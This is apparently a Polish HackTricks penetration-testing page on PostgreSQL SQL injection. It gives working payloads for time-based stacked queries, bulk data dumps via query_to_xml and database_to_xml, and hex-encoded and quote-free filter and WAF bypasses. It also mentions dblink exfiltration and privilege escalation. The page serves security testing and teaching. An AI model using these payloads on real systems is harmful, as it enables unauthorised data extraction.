7.8 KiB
Wstrzykiwanie PostgreSQL
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów GitHub.
Wskazówka dotycząca bug bounty: zarejestruj się na platformie Intigriti, premium platformie bug bounty stworzonej przez hakerów, dla hakerów! Dołącz do nas na https://go.intigriti.com/hacktricks już dziś i zacznij zarabiać nagrody do 100 000 USD!
{% embed url="https://go.intigriti.com/hacktricks" %}
Ta strona ma na celu wyjaśnienie różnych sztuczek, które mogą pomóc w eksploatacji znalezionego SQL Injection w bazie danych PostgreSQL i uzupełnieniu sztuczek, które można znaleźć na https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Interakcja sieciowa - Eskalacja uprawnień, skaner portów, ujawnianie odpowiedzi na wyzwanie NTLM i eksfiltracja
Moduł PostgreSQL dblink
oferuje możliwość łączenia się z innymi instancjami PostgreSQL i wykonywania połączeń TCP. Te funkcje, w połączeniu z funkcjonalnością COPY FROM
, umożliwiają działania takie jak eskalacja uprawnień, skanowanie portów i przechwytywanie odpowiedzi na wyzwanie NTLM. Aby uzyskać szczegółowe metody wykonania tych ataków, sprawdź, jak wykonać te ataki.
Przykład eksfiltracji za pomocą dblink i dużych obiektów
Możesz przeczytać ten przykład, aby zobaczyć przykład CTF, jak załadować dane do dużych obiektów, a następnie eksfiltrować zawartość dużych obiektów do nazwy użytkownika funkcji dblink_connect
.
Ataki na PostgreSQL: Odczyt/zapis, RCE, eskalacja uprawnień
Sprawdź, jak skompromitować hosta i eskalować uprawnienia z PostgreSQL w:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}
Ominięcie WAF
Funkcje łańcuchowe PostgreSQL
Manipulowanie łańcuchami może pomóc w ominięciu WAFów lub innych ograniczeń.
Na tej stronie znajdziesz kilka przydatnych funkcji łańcuchowych.
Zapytania zagnieżdżone
Pamiętaj, że PostgreSQL obsługuje zapytania zagnieżdżone, ale wiele aplikacji zgłosi błąd, jeśli zostaną zwrócone 2 odpowiedzi, gdy oczekiwana jest tylko 1. Jednak wciąż można nadużywać zapytań zagnieżdżonych za pomocą wstrzykiwania czasu:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
Triki z XML
query_to_xml
Ta funkcja zwróci wszystkie dane w formacie XML w jednym pliku. Jest idealna, jeśli chcesz zrzucić dużo danych w jednym wierszu:
SELECT query_to_xml('select * from pg_user',true,true,'');
database_to_xml
Ta funkcja zrzuci całą bazę danych w formacie XML w jednym wierszu (bądź ostrożny, jeśli baza danych jest bardzo duża, możesz ją spowodować DoS lub nawet swojego własnego klienta):
SELECT database_to_xml(true,true,'');
Ciągi znaków w formacie szesnastkowym
Jeśli możesz uruchamiać zapytania, przekazując je wewnątrz ciągu znaków (na przykład za pomocą funkcji query_to_xml
), możesz użyć funkcji convert_from
do przekazania ciągu znaków w formacie szesnastkowym i ominąć w ten sposób filtry:
{% code overflow="wrap" %}
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
{% endcode %}
Zabronione cudzysłowy
Jeśli nie możesz używać cudzysłowów w swoim payloadzie, możesz to obejść za pomocą CHR
dla podstawowych klauzul (łączenie znaków działa tylko dla podstawowych zapytań, takich jak SELECT, INSERT, DELETE, itp. Nie działa to dla wszystkich instrukcji SQL):
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
Lub z użyciem $
. Te zapytania zwracają te same wyniki:
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
Wskazówka dotycząca nagrody za błąd: Zarejestruj się na platformie Intigriti, premium platformie do nagradzania za błędy stworzonej przez hakerów dla hakerów! Dołącz do nas już dziś na https://go.intigriti.com/hacktricks i zacznij zarabiać nagrody do 100 000 USD!
{% embed url="https://go.intigriti.com/hacktricks" %}
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.